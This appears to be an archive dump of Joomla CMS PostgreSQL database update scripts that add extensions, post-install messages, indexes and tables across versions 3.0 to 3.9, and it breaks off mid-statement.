ALTER TABLE "#__newsfeeds" ALTER COLUMN "link" TYPE character varying(2048);
com_admin/sql/updates/postgresql/3.7.0-2016-08-22.sql000060400000000566152455305270015376 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(459, 'plg_editors-xtd_menu', 'plugin', 'menu', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.8.0-2017-07-28.sql000060400000000102152455305270015367 0ustar00ALTER TABLE "#__fields_groups" ADD COLUMN "params" TEXT NOT NULL;
com_admin/sql/updates/postgresql/3.2.2-2013-12-28.sql000060400000000254152455305270015363 0ustar00UPDATE "#__menu" SET "component_id" = (SELECT "extension_id" FROM "#__extensions" WHERE "element" = 'com_joomlaupdate') WHERE "link" = 'index.php?option=com_joomlaupdate';
com_admin/sql/updates/postgresql/3.2.2-2014-01-18.sql000060400000000160152455305270015355 0ustar00/* Update updates version length */
ALTER TABLE "#__updates" ALTER COLUMN "version" TYPE character varying(32);
com_admin/sql/updates/postgresql/3.8.6-2018-02-14.sql000060400000002017152455305270015373 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(480, 0, 'plg_system_sessiongc', 'plugin', 'sessiongc', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_TITLE', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_BODY', 'PLG_PLG_RECAPTCHA_VERSION_1_POSTINSTALL_ACTION', 'plg_captcha_recaptcha', 1, 'action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_action', 'site://plugins/captcha/recaptcha/postinstall/actions.php', 'recaptcha_postinstall_condition', '3.8.6', 1);
com_admin/sql/updates/postgresql/3.9.0-2018-08-12.sql000060400000000121152455305270015364 0ustar00ALTER TABLE "#__privacy_consents" ADD COLUMN "state" smallint DEFAULT 1 NOT NULL;com_admin/sql/updates/postgresql/3.9.26-2021-04-07.sql000060400000001242152455305270015453 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "version_introduced", "enabled", "condition_file", "condition_method", "action_file", "action")
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_DESCRIPTION', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_ACTION', 'com_admin', 1, 'action', '3.9.26', 1, 'admin://components/com_admin/postinstall/behindproxy.php', 'admin_postinstall_behindproxy_condition', 'admin://components/com_admin/postinstall/behindproxy.php', 'behindproxy_postinstall_action');
com_admin/sql/updates/postgresql/3.5.0-2015-10-13.sql000060400000000572152455305270015361 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(453, 'plg_editors-xtd_module', 'plugin', 'module', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.7.0-2016-11-19.sql000060400000000243152455305270015366 0ustar00ALTER TABLE "#__menu_types" ADD COLUMN "client_id" int DEFAULT 0 NOT NULL;

UPDATE "#__menu" SET "published" = 1 WHERE "menutype" = 'main' OR "menutype" = 'menu';
com_admin/sql/updates/postgresql/3.0.1.sql000060400000000071152455305270014323 0ustar00# Placeholder file for database changes for version 3.0.1com_admin/sql/updates/postgresql/3.6.0-2016-05-06.sql000060400000001363152455305270015370 0ustar00DELETE FROM "#__extensions" WHERE "type" = 'library' AND "element" = 'simplepie';

INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(455, 'plg_installer_packageinstaller', 'plugin', 'packageinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 1, 0),
(456, 'plg_installer_folderinstaller', 'plugin', 'folderinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 2, 0),
(457, 'plg_installer_urlinstaller', 'plugin', 'urlinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 3, 0);
com_admin/sql/updates/postgresql/3.7.0-2017-01-09.sql000060400000001031152455305270015361 0ustar00-- Normalize categories table default values.
ALTER TABLE "#__categories" ALTER COLUMN "title" SET DEFAULT '';
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.9.16, see file 3.9.16-2020-02-15.sql
--
-- ALTER TABLE "#__categories" ALTER COLUMN "params" SET DEFAULT '';
ALTER TABLE "#__categories" ALTER COLUMN "metadesc" SET DEFAULT '';
ALTER TABLE "#__categories" ALTER COLUMN "metakey" SET DEFAULT '';
ALTER TABLE "#__categories" ALTER COLUMN "metadata" SET DEFAULT '';
com_admin/sql/updates/postgresql/3.9.15-2020-01-08.sql000060400000000104152455305270015442 0ustar00CREATE INDEX "#__users_email_lower" ON "#__users" (lower("email"));
com_admin/sql/updates/postgresql/3.9.0-2018-05-03.sql000060400000000625152455305270015372 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(482, 0, 'plg_content_confirmconsent', 'plugin', 'confirmconsent', 'content', 0, 0, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.7-2019-04-23.sql000060400000000126152455305270015377 0ustar00CREATE INDEX "#__session_idx_client_id_guest" ON "#__session" ("client_id", "guest");
com_admin/sql/updates/postgresql/3.7.0-2016-10-02.sql000060400000000101152455305270015346 0ustar00ALTER TABLE "#__session" ALTER COLUMN "client_id" DROP NOT NULL;
com_admin/sql/updates/postgresql/3.6.0-2016-06-05.sql000060400000000167152455305270015371 0ustar00--
-- Add ACL check for to #__languages
--

ALTER TABLE "#__languages" ADD COLUMN "asset_id" bigint DEFAULT 0 NOT NULL;com_admin/sql/updates/postgresql/3.8.8-2018-05-18.sql000060400000001021152455305270015376 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_TITLE', 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/updatedefaultsettings.php', 'admin_postinstall_updatedefaultsettings_condition', '3.8.8', 1);
com_admin/sql/updates/postgresql/3.7.0-2016-08-06.sql000060400000000610152455305270015366 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(458, 'plg_quickicon_phpversioncheck', 'plugin', 'phpversioncheck', 'quickicon', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.2.0.sql000060400000050351152455305270014332 0ustar00/* Core 3.2 schema updates */

ALTER TABLE "#__content_types" ADD COLUMN "content_history_options" varchar(5120) DEFAULT NULL;

UPDATE "#__content_types" SET "content_history_options" = '{"formFile":"administrator\\/components\\/com_content\\/models\\/forms\\/article.xml", "hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ]}' WHERE "type_alias" = 'com_content.article';
UPDATE "#__content_types" SET "content_history_options" = '{"formFile":"administrator\\/components\\/com_contact\\/models\\/forms\\/contact.xml","hideFields":["default_con","checked_out","checked_out_time","version","xreference"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"], "displayLookup":[ {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ] }' WHERE "type_alias" = 'com_contact.contact';
UPDATE "#__content_types" SET "content_history_options" = '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}' WHERE "type_alias" IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category');
UPDATE "#__content_types" SET "content_history_options" = '{"formFile":"administrator\\/components\\/com_newsfeeds\\/models\\/forms\\/newsfeed.xml","hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE "type_alias" = 'com_newsfeeds.newsfeed';
UPDATE "#__content_types" SET "content_history_options" = '{"formFile":"administrator\\/components\\/com_tags\\/models\\/forms\\/tag.xml", "hideFields":["checked_out","checked_out_time","version", "lft", "rgt", "level", "path", "urls", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE "type_alias" = 'com_tags.tag';

INSERT INTO "#__content_types" ("type_title", "type_alias", "table", "rules", "field_mappings", "router", "content_history_options") VALUES
('Banner', 'com_banners.banner', '{"special":{"dbtable":"#__banners","key":"id","type":"Banner","prefix":"BannersTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"null","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"null", "asset_id":"null"}, "special":{"imptotal":"imptotal", "impmade":"impmade", "clicks":"clicks", "clickurl":"clickurl", "custombannercode":"custombannercode", "cid":"cid", "purchase_type":"purchase_type", "track_impressions":"track_impressions", "track_clicks":"track_clicks"}}', '', '{"formFile":"administrator\\/components\\/com_banners\\/models\\/forms\\/banner.xml", "hideFields":["checked_out","checked_out_time","version", "reset"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "imptotal", "impmade", "reset"], "convertToInt":["publish_up", "publish_down", "ordering"], "displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"cid","targetTable":"#__banner_clients","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'),
('Banners Category', 'com_banners.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}'),
('Banner Client', 'com_banners.client', '{"special":{"dbtable":"#__banner_clients","key":"id","type":"Client","prefix":"BannersTable"}}', '', '', '', '{"formFile":"administrator\\/components\\/com_banners\\/models\\/forms\\/client.xml", "hideFields":["checked_out","checked_out_time"], "ignoreChanges":["checked_out", "checked_out_time"], "convertToInt":[], "displayLookup":[]}'),
('User Notes', 'com_users.note', '{"special":{"dbtable":"#__user_notes","key":"id","type":"Note","prefix":"UsersTable"}}', '', '', '', '{"formFile":"administrator\\/components\\/com_users\\/models\\/forms\\/note.xml", "hideFields":["checked_out","checked_out_time", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time"], "convertToInt":["publish_up", "publish_down"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'),
('User Notes Category', 'com_users.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml", "hideFields":["checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}');

UPDATE "#__extensions" SET "params" = '{"template_positions_display":"0","upload_limit":"2","image_formats":"gif,bmp,jpg,jpeg,png","source_formats":"txt,less,ini,xml,js,php,css","font_formats":"woff,ttf,otf","compressed_formats":"zip"}' WHERE "extension_id" = 20;
UPDATE "#__extensions" SET "params" = '{"lineNumbers":"1","lineWrapping":"1","matchTags":"1","matchBrackets":"1","marker-gutter":"1","autoCloseTags":"1","autoCloseBrackets":"1","autoFocus":"1","theme":"default","tabmode":"indent"}' WHERE "extension_id" = 410;

INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(30, 'com_contenthistory', 'component', 'com_contenthistory', '', 1, 1, 1, 0, '{"name":"com_contenthistory","type":"component","creationDate":"May 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.\\n\\t","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"COM_CONTENTHISTORY_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(31, 'com_ajax', 'component', 'com_ajax', '', 1, 1, 1, 0, '{"name":"com_ajax","type":"component","creationDate":"August 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"COM_AJAX_DESC","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(32, 'com_postinstall', 'component', 'com_postinstall', '', 1, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(105, 'FOF', 'library', 'fof', '', 0, 1, 1, 1, '{"legacy":false,"name":"FOF","type":"library","creationDate":"2013-10-08","author":"Nicholas K. Dionysopoulos \/ Akeeba Ltd","copyright":"(C)2011-2013 Nicholas K. Dionysopoulos","authorEmail":"nicholas@akeebabackup.com","authorUrl":"https:\/\/www.akeebabackup.com","version":"2.1.rc4","description":"Framework-on-Framework (FOF) - A rapid component development framework for Joomla!","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(448, 'plg_twofactorauth_totp', 'plugin', 'totp', 'twofactorauth', 0, 0, 1, 0, '{"name":"plg_twofactorauth_totp","type":"plugin","creationDate":"August 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"PLG_TWOFACTORAUTH_TOTP_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(449, 'plg_authentication_cookie', 'plugin', 'cookie', 'authentication', 0, 1, 1, 0, '{"name":"plg_authentication_cookie","type":"plugin","creationDate":"July 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"PLG_AUTH_COOKIE_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(450, 'plg_twofactorauth_yubikey', 'plugin', 'yubikey', 'twofactorauth', 0, 0, 1, 0, '{"name":"plg_twofactorauth_yubikey","type":"plugin","creationDate":"Se[ptember 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.2.0","description":"PLG_TWOFACTORAUTH_YUBIKEY_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);

INSERT INTO "#__menu" ("menutype", "title", "alias", "note", "path", "link", "type", "published", "parent_id", "level", "component_id", "checked_out", "checked_out_time", "browserNav", "access", "img", "template_style_id", "params", "lft", "rgt", "home", "language", "client_id") VALUES
('main', 'com_postinstall', 'Post-installation messages', '', 'Post-installation messages', 'index.php?option=com_postinstall', 'component', 0, 1, 1, 32, 0, '1970-01-01 00:00:00', 0, 1, 'class:postinstall', 0, '', 45, 46, 0, '*', 1);

ALTER TABLE "#__modules" ADD COLUMN "asset_id" bigint DEFAULT 0 NOT NULL;

CREATE TABLE "#__postinstall_messages" (
  "postinstall_message_id" serial NOT NULL,
  "extension_id" bigint NOT NULL DEFAULT 700,
  "title_key" varchar(255) NOT NULL DEFAULT '',
  "description_key" varchar(255) NOT NULL DEFAULT '',
  "action_key" varchar(255) NOT NULL DEFAULT '',
  "language_extension" varchar(255) NOT NULL DEFAULT 'com_postinstall',
  "language_client_id" smallint NOT NULL DEFAULT 1,
  "type" varchar(10) NOT NULL DEFAULT 'link',
  "action_file" varchar(255) DEFAULT '',
  "action" varchar(255) DEFAULT '',
  "condition_file" varchar(255) DEFAULT NULL,
  "condition_method" varchar(255) DEFAULT NULL,
  "version_introduced" varchar(255) NOT NULL DEFAULT '3.2.0',
  "enabled" smallint NOT NULL DEFAULT 1,
  PRIMARY KEY ("postinstall_message_id")
);

COMMENT ON COLUMN "#__postinstall_messages"."extension_id" IS 'FK to jos_extensions';
COMMENT ON COLUMN "#__postinstall_messages"."title_key" IS 'Lang key for the title';
COMMENT ON COLUMN "#__postinstall_messages"."description_key" IS 'Lang key for description';
COMMENT ON COLUMN "#__postinstall_messages"."language_extension" IS 'Extension holding lang keys';
COMMENT ON COLUMN "#__postinstall_messages"."type" IS 'Message type - message, link, action';
COMMENT ON COLUMN "#__postinstall_messages"."action_file" IS 'RAD URI to the PHP file containing action method';
COMMENT ON COLUMN "#__postinstall_messages"."action" IS 'Action method name or URL';
COMMENT ON COLUMN "#__postinstall_messages"."condition_file" IS 'RAD URI to file holding display condition method';
COMMENT ON COLUMN "#__postinstall_messages"."condition_method" IS 'Display condition method, must return boolean';
COMMENT ON COLUMN "#__postinstall_messages"."version_introduced" IS 'Version when this message was introduced';

INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_TITLE', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_BODY', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_ACTION', 'plg_twofactorauth_totp', 1, 'action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_condition', '3.2.0', 1),
(700, 'COM_CPANEL_MSG_EACCELERATOR_TITLE', 'COM_CPANEL_MSG_EACCELERATOR_BODY', 'COM_CPANEL_MSG_EACCELERATOR_BUTTON', 'com_cpanel', 1, 'action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_condition', '3.2.0', 1);

CREATE TABLE "#__ucm_history" (
  "version_id" serial NOT NULL,
  "ucm_item_id" integer NOT NULL,
  "ucm_type_id" integer NOT NULL,
  "version_note" varchar(255) NOT NULL DEFAULT '',
  "save_date" timestamp with time zone NOT NULL DEFAULT '1970-01-01 00:00:00',
  "editor_user_id" integer  NOT NULL DEFAULT 0,
  "character_count" integer  NOT NULL DEFAULT 0,
  "sha1_hash" varchar(50) NOT NULL DEFAULT '',
  "version_data" text NOT NULL,
  "keep_forever" smallint NOT NULL DEFAULT 0,
  PRIMARY KEY ("version_id")
);
CREATE INDEX "#__ucm_history_idx_ucm_item_id" ON "#__ucm_history" ("ucm_type_id", "ucm_item_id");
CREATE INDEX "#__ucm_history_idx_save_date" ON "#__ucm_history" ("save_date");

COMMENT ON COLUMN "#__ucm_history"."version_note" IS 'Optional version name';
COMMENT ON COLUMN "#__ucm_history"."character_count" IS 'Number of characters in this version.';
COMMENT ON COLUMN "#__ucm_history"."sha1_hash" IS 'SHA1 hash of the version_data column.';
COMMENT ON COLUMN "#__ucm_history"."version_data" IS 'json-encoded string of version data';
COMMENT ON COLUMN "#__ucm_history"."keep_forever" IS '0=auto delete; 1=keep';

ALTER TABLE "#__users" ADD COLUMN "otpKey" varchar(1000) DEFAULT '' NOT NULL;
ALTER TABLE "#__users" ADD COLUMN "otep" varchar(1000) DEFAULT '' NOT NULL;

CREATE TABLE "#__user_keys" (
  "id" serial NOT NULL,
  "user_id" varchar(255) NOT NULL,
  "token" varchar(255) NOT NULL,
  "series" varchar(255) NOT NULL,
  "invalid" smallint NOT NULL,
  "time" varchar(200) NOT NULL,
  "uastring" varchar(255) NOT NULL,
  PRIMARY KEY ("id"),
	CONSTRAINT "#__user_keys_series" UNIQUE ("series"),
	CONSTRAINT "#__user_keys_series_2" UNIQUE ("series"),
	CONSTRAINT "#__user_keys_series_3" UNIQUE ("series")
);
CREATE INDEX "#__user_keys_idx_user_id" ON "#__user_keys" ("user_id");

/* Queries below sync the schema to MySQL where able without causing errors */

ALTER TABLE "#__contentitem_tag_map" ADD COLUMN "type_id" integer NOT NULL;

CREATE INDEX "#__contentitem_tag_map_idx_tag_type" ON "#__contentitem_tag_map" ("tag_id", "type_id");
CREATE INDEX "#__contentitem_tag_map_idx_type" ON "#__contentitem_tag_map" ("type_id");

COMMENT ON COLUMN "#__contentitem_tag_map"."type_id" IS 'PK from the content_type table';

ALTER TABLE "#__session" DROP COLUMN "usertype";

ALTER TABLE "#__updates" DROP COLUMN "categoryid";

ALTER TABLE "#__users" DROP COLUMN "usertype";
com_admin/sql/updates/postgresql/3.5.0-2015-10-26.sql000060400000000133152455305270015356 0ustar00DROP INDEX "#__contentitem_tag_map_idx_tag";
DROP INDEX "#__contentitem_tag_map_idx_type";
com_admin/sql/updates/postgresql/3.9.8-2019-06-15.sql000060400000000466152455305270015412 0ustar00DROP INDEX IF EXISTS "#__template_styles_idx_home";
# Queries removed, see https://github.com/joomla/joomla-cms/pull/25484
CREATE INDEX "#__template_styles_idx_client_id" ON "#__template_styles" ("client_id");
CREATE INDEX "#__template_styles_idx_client_id_home" ON "#__template_styles" ("client_id", "home");
com_admin/sql/updates/postgresql/3.3.0-2014-04-02.sql000060400000000632152455305270015354 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(451, 'plg_search_tags', 'plugin', 'tags', 'search', 0, 0, 1, 0, '', '{"search_limit":"50","show_tagged_items":"1"}', '', '', 0, '1970-01-01 00:00:00', 0, 0);

com_admin/sql/updates/postgresql/3.7.0-2017-01-17.sql000060400000004707152455305270015375 0ustar00-- Sync menutype for admin menu and set client_id correct

-- Note: This file had to be modified with Joomla 3.7.3 because the
-- original version made site menus disappear if there were menu types
-- "main" or "menu" defined for the site.

-- Step 1: If there is any user-defined menu and menu type "main" for the site
-- (client_id = 0), then change the menu type for the menu, any module and the
-- menu type to something very likely not being used yet and just within the
-- max. length of 24 characters.
UPDATE "#__menu"
   SET "menutype" = 'main_is_reserved_133C585'
 WHERE "client_id" = 0
   AND "menutype" = 'main'
   AND (SELECT COUNT("id") FROM "#__menu_types" WHERE "client_id" = 0 AND "menutype" = 'main') > 0;

UPDATE "#__modules"
   SET "params" = REPLACE("params",'"menutype":"main"','"menutype":"main_is_reserved_133C585"')
 WHERE "client_id" = 0
   AND (SELECT COUNT("id") FROM "#__menu_types" WHERE "client_id" = 0 AND "menutype" = 'main') > 0;

UPDATE "#__menu_types"
   SET "menutype" = 'main_is_reserved_133C585'
 WHERE "client_id" = 0 
   AND "menutype" = 'main';

-- Step 2: What remains now are the main menu items, possibly with wrong
-- client_id if there was nothing hit by step 1 because there was no record in
-- the menu types table with client_id = 0.
UPDATE "#__menu"
   SET "client_id" = 1
 WHERE "menutype" = 'main';

-- Step 3: If we have menu items for the admin using menutype = "menu" and
-- having correct client_id = 1, we can be sure they belong to the admin menu
-- and so rename the menutype.
UPDATE "#__menu"
